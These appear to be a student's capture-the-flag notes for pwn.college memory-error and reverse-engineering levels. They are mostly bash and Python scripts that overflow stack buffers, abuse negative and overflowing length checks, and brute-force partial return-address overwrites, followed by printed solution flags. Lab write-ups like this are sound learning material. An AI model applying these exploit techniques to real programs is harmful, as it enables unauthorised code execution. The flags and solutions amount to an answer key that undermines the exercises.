Memory Errors

memory.sh `chmod +x ./memory.sh`

```
#!/bin/bash

file="/challenge/*"

payload_size=$1
string=$2
append_string=$(echo -e "$string")

string=$(printf '1%.0s' $(seq 1 $payload_size))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

payload_size=$(($payload_size+${#append_string}))

printf "$payload_size $string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

Level 1.0

`/challenge/babymem_level1.0`

On the last line of the output it's written:
`The "win" variable is stored at 0xXXXXXXXXX, $n bytes after the start of your input buffer.`

The paylod size will be $\$n + 1$. After that just type $\$n + 1$ characters.

Level 1.1

`./memory.sh 121`

Level 2.0

`./memory.sh 104 "\x82\x92\xaa\x66"`

`printf "108 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\x82\x92\xaa\x66" | /challenge/babymem_level2.0`

Level 2.1

`./memory.sh 76 "\xf4\x9e\xb6\x53"`

`printf "80 11111111111111111111111111111111111111111111111111111111111111111111111111111111\xf4\x9e\xb6\x53" | /challenge/babymem_level2.1`

Level 3.0

`./memory.sh 152 "\xfa\x19\x40"`

Level 3.1

`./memory.sh 104 "\x16\x1c\x40"`

Level 4.0

Inputting a negative integer works because the check in the `challenge` procedure is always verified (any negative number is smaller than whatever positive constant is being used to do the check). This number, interpreted as a two's complement by the check, is instead read like a giant number by the `read` syscall that gets the payload text.

For example, if I input -2 as my payload length, it's saved in the stack as a 32-bit number in two's complement: `0xFFFFFFFE`. This number is then read by the `read` syscall like $2^{32} - 1$

How is the check implemented here?

memory.sh

```
#!/bin/bash

file="/challenge/*"

payload_size=$1
payload_size=$((payload_size * -1))
append_string=$(echo -e "\x9a\x20\x40")

string=$(printf '1%.0s' $(seq 1 $(($payload_size * -1))))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

printf "%d %s" "$payload_size" "$string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

`./memory.sh 72`

Level 4.1

```
#!/bin/bash

file="/challenge/*"

payload_size=$1
payload_size=$((payload_size * -1))
append_string=$(echo -e "\x70\x15\x40")

string=$(printf '1%.0s' $(seq 1 $(($payload_size * -1))))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

printf "%d %s" "$payload_size" "$string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

`./memory.sh 56`

Level 5.0

2
2147483648 ($2^{32}/2$)

int32 accetta al massimo $2^{32} - 1$

The concept is very similar to the one used in the previous level.

```
#!/bin/bash

file="/challenge/*"

payload_n=2
payload_size=$1
overflowing_payload_size=2147483648
append_string=$(echo -e "\xcd\x21\x40")

string=$(printf '1%.0s' $(seq 1 $payload_size))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

payload_size=$(($payload_size+${#append_string}))

printf "%d %d %s" "$payload_n" "$overflowing_payload_size" "$string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

`./memory5.sh 88`

Level 5.1

```
#!/bin/bash

file="/challenge/*"

payload_n=2
payload_size=$1
overflowing_payload_size=2147483648
append_string=$(echo -e "\x43\x21\x40")

string=$(printf '1%.0s' $(seq 1 $payload_size))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

payload_size=$(($payload_size+${#append_string}))

printf "%d %d %s" "$payload_n" "$overflowing_payload_size" "$string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

`./memory5.sh 72`

Level 6.0

`./memory.sh 56 "\xe0\x16\x40"`

Level 6.1

`./memory.sh 136 "\xd8\x18\x40"`

Level 7.0

script.py

```python
import os
import sys
import struct
import subprocess

challenge_dir = "/challenge"
file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])

buffer_size = int(sys.argv[1])
target_address = 0x2830

payload = b"A" * (buffer_size)
target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte
payload += target_struct
payload_len = len(payload)

def execute_attack():
    try:
        process = subprocess.Popen([file], stdin=subprocess.PIPE)
        input_data = f"{payload_len}".encode() + b"\n" + payload
        print(input_data)
        process.communicate(input=input_data)
    except Exception as e:
        print(f"error: {e}")

if __name__ == "__main__":
    print(f"Payload generato ({len(payload)} bytes).")
    print(f"Indirizzo di iniezione: {hex(target_address)}")
    execute_attack()
```

`python script.py 104` run it until you get the fourth byte right (1 in 16 chance)

Level 7.1

`python script.py 120` run it until you get the fourth byte right (1 in 16 chance)

Level 8.0

script8.py

```python
import os
import sys
import struct
import subprocess

challenge_dir = "/challenge"
file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])

buffer_size = int(sys.argv[1])
target_address = 0x2830

payload = b"A\x00" * (buffer_size)
target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte
payload += target_struct
payload_len = len(payload)

def execute_attack():
    try:
        process = subprocess.Popen([file], stdin=subprocess.PIPE)
        input_data = f"{payload_len}".encode() + b"\n" + payload
        print(input_data)
        process.communicate(input=input_data)
    except Exception as e:
```

```
        print(f"error: {e}")

if __name__ == "__main__":
    print(f"Payload generato ({len(payload)} bytes).")
    print(f"Indirizzo di iniezione: {hex(target_address)}")
    execute_attack()
```

`python script8.py 36` run it until you get the fourth byte right (1 in 16 chance)

Level 8.1

put `target_address = 0x2626`

`python script8.py 76` run it until you get the fourth byte right (1 in 16 chance)

Level 9.0

script9.py

```
import os
import sys
import struct
import subprocess

challenge_dir = "/challenge"
file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])

buffer_size = int(sys.argv[1])
target_address = 0x2a6c

payload = b"A" * 32
payload += struct.pack("<B", (buffer_size - 1)) # - 1 because n updates itself when overwritten
target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte
payload += target_struct
payload_len = buffer_size + 2

def execute_attack():
    try:
        process = subprocess.Popen([file], stdin=subprocess.PIPE)
        input_data = f"{payload_len}".encode() + b"\n" + payload
        print(input_data)
        process.communicate(input=input_data)
    except Exception as e:
        print(f"error: {e}")

if __name__ == "__main__":
    print(f"Payload generato ({len(payload)} bytes).")
    print(f"Indirizzo di iniezione: {hex(target_address)}")
    execute_attack()
```

`python script9.py 56` run it until you get the fourth byte right (1 in 16 chance)

Level 9.1

put `target_address = 0x2fff` and `payload = b"A" * 80`

`python script9.py 104` run it until you get the fourth byte right (1 in 16 chance)

- `*challenge+237` holds the n variable in `rdx`

Level 10.0

script10.py

```python
import os
import sys
import struct
import subprocess

challenge_dir = "/challenge"
file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])

buffer_size = int(sys.argv[1])

def execute_attack(payload):
    try:
        process = subprocess.Popen([file], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        input_data = f"{buffer_size}".encode() + b"\n" + payload
        print(input_data)
        stdout, stderr = process.communicate(input=input_data)

        if b"pwn.coll" in stdout:
            print(stdout.decode())
    except Exception as e:
        print(f"error: {e}")

if __name__ == "__main__":
    for i in range(buffer_size+1):
        payload = b"A" * i
        print(f"Payload generato ({len(payload)} bytes).")
        execute_attack(payload)
```

`python script10.py 100` 70

Check the rsi resigter before the two read syscalls: the first one is for reading from the `\flag` file, the second one is for your input buffer. The subtraction between those two addresses gives you the right offset.

Level 10.1

`python script10.py 120` 112

Level 11.0

`(echo "28672"; python3 -c "print('a' * 28672, end='')") | /challenge/babymem_level11.0`

Reverse Engeneering

Level 4.0

`hd /challenge/*`

fqrwx = key
xwrqf = input
pwn.college{Ir4vPt9ItBdlBq7zlSVXt2A8uHB.0lN0IDL5EzW}

Level 4.1

almrv = key
vrmla = input
pwn.college{M51067JNYv0HzVemHZ6_o8ocuIg.01N0IDL5EzW}

Level 5.0

kplb = key
lwkex = input
pwn.college{ghMtShYpGiXGP1rRrz9eXF9ULkr.0FO0IDL5EzW}

Level 5.1

`nm -C /challenge/babymem_level1.1 | grep ' T '` to see all the functions

Tutorial gdb

`~/.gdbinit` configuration file

`set disassembly-flavor intel` to set intel syntax

`info registers`

`x/i $rip` or `x/i $sp`